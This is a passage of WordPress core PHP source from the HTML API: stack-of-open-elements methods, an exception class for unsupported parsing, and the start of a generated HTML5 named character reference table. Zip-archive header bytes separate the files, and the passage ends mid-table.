	 * >   - MathML mi
	 * >   - MathML mo
	 * >   - MathML mn
	 * >   - MathML ms
	 * >   - MathML mtext
	 * >   - MathML annotation-xml
	 * >   - SVG foreignObject
	 * >   - SVG desc
	 * >   - SVG title
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full support.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in list item scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in list item scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - ol in the HTML namespace
	 * >   - ul in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Implemented: no longer throws on every invocation.
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-list-item-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_list_item_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'OL',
				'TEMPLATE',
				'UL',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in button scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in button scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - button in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_button_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in table scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in table scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - html in the HTML namespace
	 * >   - table in the HTML namespace
	 * >   - template in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-table-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_table_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'HTML',
				'TABLE',
				'TEMPLATE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in select scope.
	 *
	 * This test differs from the others like it, in that its rules are inverted.
	 * Instead of arriving at a match when one of any tag in a termination group
	 * is reached, this one terminates if any other tag is reached.
	 *
	 * > The stack of open elements is said to have a particular element in select scope when it has
	 * > that element in the specific scope consisting of all element types except the following:
	 * >   - optgroup in the HTML namespace
	 * >   - option in the HTML namespace
	 *
	 * @since 6.4.0 Stub implementation (throws).
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-select-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether the given element is in SELECT scope.
	 */
	public function has_element_in_select_scope( string $tag_name ): bool {
		foreach ( $this->walk_up() as $node ) {
			if ( $node->node_name === $tag_name ) {
				return true;
			}

			if (
				'OPTION' !== $node->node_name &&
				'OPTGROUP' !== $node->node_name
			) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a P is in BUTTON scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @return bool Whether a P is in BUTTON scope.
	 */
	public function has_p_in_button_scope(): bool {
		return $this->has_p_in_button_scope;
	}

	/**
	 * Pops a node off of the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @return bool Whether a node was popped off of the stack.
	 */
	public function pop(): bool {
		$item = array_pop( $this->stack );
		if ( null === $item ) {
			return false;
		}

		$this->after_element_pop( $item );
		return true;
	}

	/**
	 * Pops nodes off of the stack of open elements until an HTML tag with the given name has been popped.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Open_Elements::pop
	 *
	 * @param string $html_tag_name Name of tag that needs to be popped off of the stack of open elements.
	 * @return bool Whether a tag of the given name was found and popped off of the stack of open elements.
	 */
	public function pop_until( string $html_tag_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			$this->pop();

			if ( 'html' !== $item->namespace ) {
				continue;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $html_tag_name &&
				in_array( $item->node_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( $html_tag_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Pushes a node onto the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @param WP_HTML_Token $stack_item Item to add onto stack.
	 */
	public function push( WP_HTML_Token $stack_item ): void {
		$this->stack[] = $stack_item;
		$this->after_element_push( $stack_item );
	}

	/**
	 * Removes a specific node from the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token The node to remove from the stack of open elements.
	 * @return bool Whether the node was found and removed from the stack of open elements.
	 */
	public function remove_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			$this->after_element_pop( $item );
			return true;
		}

		return false;
	}


	/**
	 * Steps through the stack of open elements, starting with the top element
	 * (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Open_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of open elements, starting with the bottom element
	 * (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Open_Elements::walk_down().
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Accepts $above_this_node to start traversal above a given node, if it exists.
	 *
	 * @param WP_HTML_Token|null $above_this_node Optional. Start traversing above this node,
	 *                                            if provided and if the node exists.
	 */
	public function walk_up( ?WP_HTML_Token $above_this_node = null ) {
		$has_found_node = null === $above_this_node;

		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			$node = $this->stack[ $i ];

			if ( ! $has_found_node ) {
				$has_found_node = $node === $above_this_node;
				continue;
			}

			yield $node;
		}
	}

	/*
	 * Internal helpers.
	 */

	/**
	 * Updates internal flags after adding an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was added to the stack of open elements.
	 */
	public function after_element_push( WP_HTML_Token $item ): void {
		$namespaced_name = 'html' === $item->namespace
			? $item->node_name
			: "{$item->namespace} {$item->node_name}";

		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $namespaced_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = false;
				break;

			case 'P':
				$this->has_p_in_button_scope = true;
				break;
		}

		if ( null !== $this->push_handler ) {
			( $this->push_handler )( $item );
		}
	}

	/**
	 * Updates internal flags after removing an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was removed from the stack of open elements.
	 */
	public function after_element_pop( WP_HTML_Token $item ): void {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'P':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;
		}

		if ( null !== $this->pop_handler ) {
			( $this->pop_handler )( $item );
		}
	}

	/**
	 * Clear the stack back to a table context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table context, it means
	 * > that the UA must, while the current node is not a table, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TABLE' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table body context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table body context, it
	 * > means that the UA must, while the current node is not a tbody, tfoot, thead, template, or
	 * > html element, pop elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-body-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_body_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TBODY' === $item->node_name ||
				'TFOOT' === $item->node_name ||
				'THEAD' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table row context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table row context, it
	 * > means that the UA must, while the current node is not a tr, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-row-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_row_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TR' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.6.0
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKYO\2W'class-wp-html-unsupported-exception.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Unsupported_Exception class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for indicating that a given operation is unsupported.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * The HTML API aims to operate in compliance with the HTML5
 * specification, but does not implement the full specification.
 * In cases where it lacks support it should not cause breakage
 * or unexpected behavior. In the cases where it recognizes that
 * it cannot proceed, this class is used to abort from any
 * operation and signify that the given HTML cannot be processed.
 *
 * @since 6.4.0
 * @since 6.7.0 Gained contextual information for use in debugging parse failures.
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Unsupported_Exception extends Exception {
	/**
	 * Name of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * This does not imply that the token itself was unsupported, but it
	 * may have been the case that the token triggered part of the HTML
	 * parsing that isn't supported, such as the adoption agency algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token_name;

	/**
	 * Number of bytes into the input HTML document where the parser was
	 * parsing when the exception was raised.
	 *
	 * Use this to reconstruct context for the failure.
	 *
	 * @since 6.7.0
	 *
	 * @var int
	 */
	public $token_at;

	/**
	 * Full raw text of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * Whereas the `$token_name` will be normalized, this contains the full
	 * raw text of the token, including original casing, duplicated attributes,
	 * and other syntactic variations that are normally abstracted in the HTML API.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token;

	/**
	 * Stack of open elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $stack_of_open_elements = array();

	/**
	 * List of active formatting elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $active_formatting_elements = array();

	/**
	 * Constructor function.
	 *
	 * @since 6.7.0
	 *
	 * @param string   $message                    Brief message explaining what is unsupported, the reason this exception was raised.
	 * @param string   $token_name                 Normalized name of matched token when this exception was raised.
	 * @param int      $token_at                   Number of bytes into source HTML document where matched token starts.
	 * @param string   $token                      Full raw text of matched token when this exception was raised.
	 * @param string[] $stack_of_open_elements     Stack of open elements when this exception was raised.
	 * @param string[] $active_formatting_elements List of active formatting elements when this exception was raised.
	 */
	public function __construct( string $message, string $token_name, int $token_at, string $token, array $stack_of_open_elements, array $active_formatting_elements ) {
		parent::__construct( $message );

		$this->token_name = $token_name;
		$this->token_at   = $token_at;
		$this->token      = $token;

		$this->stack_of_open_elements     = $stack_of_open_elements;
		$this->active_formatting_elements = $active_formatting_elements;
	}
}
PKYO\ׯ��#9#9$html5-named-character-references.phpnu�[���<?php

/**
 * Auto-generated class for looking up HTML named character references.
 *
 * ⚠️ !!! THIS ENTIRE FILE IS AUTOMATICALLY GENERATED !!! ⚠️
 * Do not modify this file directly.
 *
 * To regenerate, run the generation script directly.
 *
 * Example:
 *
 *     php tests/phpunit/data/html5-entities/generate-html5-named-character-references.php
 *
 * @package WordPress
 * @since 6.6.0
 */

// phpcs:disable

global $html5_named_character_references;

/**
 * Set of named character references in the HTML5 specification.
 *
 * This list will never change, according to the spec. Each named
 * character reference is case-sensitive and the presence or absence
 * of the semicolon is significant. Without the semicolon, the rules
 * for an ambiguous ampersand govern whether the following text is
 * to be interpreted as a character reference or not.
 *
 * The list of entities is sourced directly from the WHATWG server
 * and cached in the test directory to avoid needing to download it
 * every time this file is updated.
 *
 * @link https://html.spec.whatwg.org/entities.json.
 */
$html5_named_character_references = WP_Token_Map::from_precomputed_table(
	array(
		"storage_version" => "6.6.0-trunk",
		"key_length" => 2,
		"groups" => "AE\x00AM\x00Aa\x00Ab\x00Ac\x00Af\x00Ag\x00Al\x00Am\x00An\x00Ao\x00Ap\x00Ar\x00As\x00At\x00Au\x00Ba\x00Bc\x00Be\x00Bf\x00Bo\x00Br\x00Bs\x00Bu\x00CH\x00CO\x00Ca\x00Cc\x00Cd\x00Ce\x00Cf\x00Ch\x00Ci\x00Cl\x00Co\x00Cr\x00Cs\x00Cu\x00DD\x00DJ\x00DS\x00DZ\x00Da\x00Dc\x00De\x00Df\x00Di\x00Do\x00Ds\x00EN\x00ET\x00Ea\x00Ec\x00Ed\x00Ef\x00Eg\x00El\x00Em\x00Eo\x00Ep\x00Eq\x00Es\x00Et\x00Eu\x00Ex\x00Fc\x00Ff\x00Fi\x00Fo\x00Fs\x00GJ\x00GT\x00Ga\x00Gb\x00Gc\x00Gd\x00Gf\x00Gg\x00Go\x00Gr\x00Gs\x00Gt\x00HA\x00Ha\x00Hc\x00Hf\x00Hi\x00Ho\x00Hs\x00Hu\x00IE\x00IJ\x00IO\x00Ia\x00Ic\x00Id\x00If\x00Ig\x00Im\x00In\x00Io\x00Is\x00It\x00Iu\x00Jc\x00Jf\x00Jo\x00Js\x00Ju\x00KH\x00KJ\x00Ka\x00Kc\x00Kf\x00Ko\x00Ks\x00LJ\x00LT\x00La\x00Lc\x00Le\x00Lf\x00Ll\x00Lm\x00Lo\x00Ls\x00Lt\x00Ma\x00Mc\x00Me\x00Mf\x00Mi\x00Mo\x00Ms\x00Mu\x00NJ\x00Na\x00Nc\x00Ne\x00Nf\x00No\x00Ns\x00Nt\x00Nu\x00OE\x00Oa\x00Oc\x00Od\x00Of\x00Og\x00Om\x00Oo\x00Op\x00Or\x00Os\x00Ot\x00Ou\x00Ov\x00Pa\x00Pc\x00Pf\x00Ph\x00Pi\x00Pl\x00Po\x00Pr\x00Ps\x00QU\x00Qf\x00Qo\x00Qs\x00RB\x00RE\x00Ra\x00Rc\x00Re\x00Rf\x00Rh\x00Ri\x00Ro\x00Rr\x00Rs\x00Ru\x00SH\x00SO\x00Sa\x00Sc\x00Sf\x00Sh\x00Si\x00Sm\x00So\x00Sq\x00Ss\x00St\x00Su\x00TH\x00TR\x00TS\x00Ta\x00Tc\x00Tf\x00Th\x00Ti\x00To\x00Tr\x00Ts\x00Ua\x00Ub\x00Uc\x00Ud\x00Uf\x00Ug\x00Um\x00Un\x00Uo\x00Up\x00Ur\x00Us\x00Ut\x00Uu\x00VD\x00Vb\x00Vc\x00Vd\x00Ve\x00Vf\x00Vo\x00Vs\x00Vv\x00Wc\x00We\x00Wf\x00Wo\x00Ws\x00Xf\x00Xi\x00Xo\x00Xs\x00YA\x00YI\x00YU\x00Ya\x00Yc\x00Yf\x00Yo\x00Ys\x00Yu\x00ZH\x00Za\x00Zc\x00Zd\x00Ze\x00Zf\x00Zo\x00Zs\x00aa\x00ab\x00ac\x00ae\x00af\x00ag\x00al\x00am\x00an\x00ao\x00ap\x00ar\x00as\x00at\x00au\x00aw\x00bN\x00ba\x00bb\x00bc\x00bd\x00be\x00bf\x00bi\x00bk\x00bl\x00bn\x00bo\x00bp\x00br\x00bs\x00bu\x00ca\x00cc\x00cd\x00ce\x00cf\x00ch\x00ci\x00cl\x00co\x00cr\x00cs\x00ct\x00cu\x00cw\x00cy\x00dA\x00dH\x00da\x00db\x00dc\x00dd\x00de\x00df\x00dh\x00di\x00dj\x00dl\x00do\x00dr\x00ds\x00dt\x00du\x00dw\x00dz\x00eD\x00ea\x00ec\x00ed\x00ee\x00ef\x00eg\x00el\x00em\x00en\x00eo\x00ep\x00eq\x00er\x00es\x00et\x00eu\x00ex\x00fa\x00fc\x00fe\x00ff\x00fi\x00fj\x00fl\x00fn\x00fo\x00fp\x00fr\x00fs\x00gE\x00ga\x00gb\x00gc\x00gd\x00ge\x00gf\x00gg\x00gi\x00gj\x00gl\x00gn\x00go\x00gr\x00gs\x00gt\x00gv\x00hA\x00ha\x00hb\x00hc\x00he\x00hf\x00hk\x00ho\x00hs\x00hy\x00ia\x00ic\x00ie\x00if\x00ig\x00ii\x00ij\x00im\x00in\x00io\x00ip\x00iq\x00is\x00it\x00iu\x00jc\x00jf\x00jm\x00jo\x00js\x00ju\x00ka\x00kc\x00kf\x00kg\x00kh\x00kj\x00ko\x00ks\x00lA\x00lB\x00lE\x00lH\x00la\x00lb\x00lc\x00ld\x00le\x00lf\x00lg\x00lh\x00lj\x00ll\x00lm\x00ln\x00lo\x00lp\x00lr\x00ls\x00lt\x00lu\x00lv\x00mD\x00ma\x00mc\x00md\x00me\x00mf\x00mh\x00mi\x00ml\x00mn\x00mo\x00mp\x00ms\x00mu\x00nG\x00nL\x00nR\x00nV\x00na\x00nb\x00nc\x00nd\x00ne\x00nf\x00ng\x00nh\x00ni\x00nj\x00nl\x00nm\x00no\x00np\x00nr\x00ns\x00nt\x00nu\x00nv\x00nw\x00oS\x00oa\x00oc\x00od\x00oe\x00of\x00og\x00oh\x00oi\x00ol\x00om\x00oo\x00op\x00or\x00os\x00ot\x00ou\x00ov\x00pa\x00pc\x00pe\x00pf\x00ph\x00pi\x00pl\x00pm\x00po\x00pr\x00ps\x00pu\x00qf\x00qi\x00qo\x00qp\x00qs\x00qu\x00rA\x00rB\x00rH\x00ra\x00rb\x00rc\x00rd\x00re\x00rf\x00rh\x00ri\x00rl\x00rm\x00rn\x00ro\x00rp\x00rr\x00rs\x00rt\x00ru\x00rx\x00sa\x00sb\x00sc\x00sd\x00se\x00sf\x00sh\x00si\x00sl\x00sm\x00so\x00sp\x00sq\x00sr\x00ss\x00st\x00su\x00sw\x00sz\x00ta\x00tb\x00tc\x00td\x00te\x00tf\x00th\x00ti\x00to\x00tp\x00tr\x00ts\x00tw\x00uA\x00uH\x00ua\x00ub\x00uc\x00ud\x00uf\x00ug\x00uh\x00ul\x00um\x00uo\x00up\x00ur\x00us\x00ut\x00uu\x00uw\x00vA\x00vB\x00vD\x00va\x00vc\x00vd\x00ve\x00vf\x00vl\x00vn\x00vo\x00vp\x00vr\x00vs\x00vz\x00wc\x00we\x00wf\x00wo\x00wp\x00wr\x00ws\x00xc\x00xd\x00xf\x00xh\x00xi\x00xl\x00xm\x00xn\x00xo\x00xr\x00xs\x00xu\x00xv\x00xw\x00ya\x00yc\x00ye\x00yf\x00yi\x00yo\x00ys\x00yu\x00za\x00zc\x00zd\x00ze\x00zf\x00zh\x00zi\x00zo\x00zs\x00zw\x00",
		"large_words" => array(
			// AElig;[Æ] AElig[Æ].
			"\x04lig;\x02Æ\x03lig\x02Æ",
			// AMP;[&] AMP[&].
			"\x02P;\x01&\x01P\x01&",
			// Aacute;[Á] Aacute[Á].
			"\x05cute;\x02Á\x04cute\x02Á",
			// Abreve;[Ă].
			"\x05reve;\x02Ă",
			// Acirc;[Â] Acirc[Â] Acy;[А].
			"\x04irc;\x02Â\x03irc\x02Â\x02y;\x02А",
			// Afr;[𝔄].
			"\x02r;\x04𝔄",
			// Agrave;[À] Agrave[À].
			"\x05rave;\x02À\x04rave\x02À",
			// Alpha;[Α].
			"\x04pha;\x02Α",
			// Amacr;[Ā].
			"\x04acr;\x02Ā",
			// And;[⩓].
			"\x02d;\x03⩓",
			// Aogon;[Ą] Aopf;[𝔸].
			"\x04gon;\x02Ą\x03pf;\x04𝔸",
			// ApplyFunction;[⁡].
			"\x0cplyFunction;\x03⁡",
			// Aring;[Å] Aring[Å].
			"\x04ing;\x02Å\x03ing\x02Å",
			// Assign;[≔] Ascr;[𝒜].
			"\x05sign;\x03≔\x03cr;\x04𝒜",
			// Atilde;[Ã] Atilde[Ã].
			"\x05ilde;\x02Ã\x04ilde\x02Ã",
			// Auml;[Ä] Auml[Ä].
			"\x03ml;\x02Ä\x02ml\x02Ä",
			// Backslash;[∖] Barwed;[⌆] Barv;[⫧].
			"\x08ckslash;\x03∖\x05rwed;\x03⌆\x03rv;\x03⫧",
			// Bcy;[Б].
			"\x02y;\x02Б",
			// Bernoullis;[ℬ] Because;[∵] Beta;[Β].
			"\x09rnoullis;\x03ℬ\x06cause;\x03∵\x03ta;\x02Β",
			// Bfr;[𝔅].
			"\x02r;\x04𝔅",
			// Bopf;[𝔹].
			"\x03pf;\x04𝔹",
			// Breve;[˘].
			"\x04eve;\x02˘",
			// Bscr;[ℬ].
			"\x03cr;\x03ℬ",
			// Bumpeq;[≎].
			"\x05mpeq;\x03≎",
			// CHcy;[Ч].
			"\x03cy;\x02Ч",
			// COPY;[©] COPY[©].
			"\x03PY;\x02©\x02PY\x02©",
			// CapitalDifferentialD;[ⅅ] Cayleys;[ℭ] Cacute;[Ć] Cap;[⋒].
			"\x13pitalDifferentialD;\x03ⅅ\x06yleys;\x03ℭ\x05cute;\x02Ć\x02p;\x03⋒",
			// Cconint;[∰] Ccaron;[Č] Ccedil;[Ç] Ccedil[Ç] Ccirc;[Ĉ].
			"\x06onint;\x03∰\x05aron;\x02Č\x05edil;\x02Ç\x04edil\x02Ç\x04irc;\x02Ĉ",
			// Cdot;[Ċ].
			"\x03ot;\x02Ċ",
			// CenterDot;[·] Cedilla;[¸].
			"\x08nterDot;\x02·\x06dilla;\x02¸",
			// Cfr;[ℭ].
			"\x02r;\x03ℭ",
			// Chi;[Χ].
			"\x02i;\x02Χ",
			// CircleMinus;[⊖] CircleTimes;[⊗] CirclePlus;[⊕] CircleDot;[⊙].
			"\x0arcleMinus;\x03⊖\x0arcleTimes;\x03⊗\x09rclePlus;\x03⊕\x08rcleDot;\x03⊙",
			// ClockwiseContourIntegral;[∲] CloseCurlyDoubleQuote;[”] CloseCurlyQuote;[’].
			"\x17ockwiseContourIntegral;\x03∲\x14oseCurlyDoubleQuote;\x03”\x0eoseCurlyQuote;\x03’",
			// CounterClockwiseContourIntegral;[∳] ContourIntegral;[∮] Congruent;[≡] Coproduct;[∐] Colone;[⩴] Conint;[∯] Colon;[∷] Copf;[ℂ].
			"\x1eunterClockwiseContourIntegral;\x03∳\x0entourIntegral;\x03∮\x08ngruent;\x03≡\x08product;\x03∐\x05lone;\x03⩴\x05nint;\x03∯\x04lon;\x03∷\x03pf;\x03ℂ",
			// Cross;[⨯].
			"\x04oss;\x03⨯",
			// Cscr;[𝒞].
			"\x03cr;\x04𝒞",
			// CupCap;[≍] Cup;[⋓].
			"\x05pCap;\x03≍\x02p;\x03⋓",
			// DDotrahd;[⤑] DD;[ⅅ].
			"\x07otrahd;\x03⤑\x01;\x03ⅅ",
			// DJcy;[Ђ].
			"\x03cy;\x02Ђ",
			// DScy;[Ѕ].
			"\x03cy;\x02Ѕ",
			// DZcy;[Џ].
			"\x03cy;\x02Џ",
			// Dagger;[‡] Dashv;[⫤] Darr;[↡].
			"\x05gger;\x03‡\x04shv;\x03⫤\x03rr;\x03↡",
			// Dcaron;[Ď] Dcy;[Д].
			"\x05aron;\x02Ď\x02y;\x02Д",
			// Delta;[Δ] Del;[∇].
			"\x04lta;\x02Δ\x02l;\x03∇",
			// Dfr;[𝔇].
			"\x02r;\x04𝔇",
			// DiacriticalDoubleAcute;[˝] DiacriticalAcute;[´] DiacriticalGrave;[`] DiacriticalTilde;[˜] DiacriticalDot;[˙] DifferentialD;[ⅆ] Diamond;[⋄].
			"\x15acriticalDoubleAcute;\x02˝\x0facriticalAcute;\x02´\x0facriticalGrave;\x01`\x0facriticalTilde;\x02˜\x0dacriticalDot;\x02˙\x0cfferentialD;\x03ⅆ\x06amond;\x03⋄",
			// DoubleLongLeftRightArrow;[⟺] DoubleContourIntegral;[∯] DoubleLeftRightArrow;[⇔] DoubleLongRightArrow;[⟹] DoubleLongLeftArrow;[⟸] DownLeftRightVector;[⥐] DownRightTeeVector;[⥟] DownRightVectorBar;[⥗] DoubleUpDownArrow;[⇕] DoubleVerticalBar;[∥] DownLeftTeeVector;[⥞] DownLeftVectorBar;[⥖] DoubleRightArrow;[⇒] DownArrowUpArrow;[⇵] DoubleDownArrow;[⇓] DoubleLeftArrow;[⇐] DownRightVector;[⇁] DoubleRightTee;[⊨] DownLeftVector;[↽] DoubleLeftTee;[⫤] DoubleUpArrow;[⇑] DownArrowBar;[⤓] DownTeeArrow;[↧] DoubleDot;[¨] DownArrow;[↓] DownBreve;[̑] Downarrow;[⇓] DotEqual;[≐] DownTee;[⊤] DotDot;[⃜] Dopf;[𝔻] Dot;[¨].
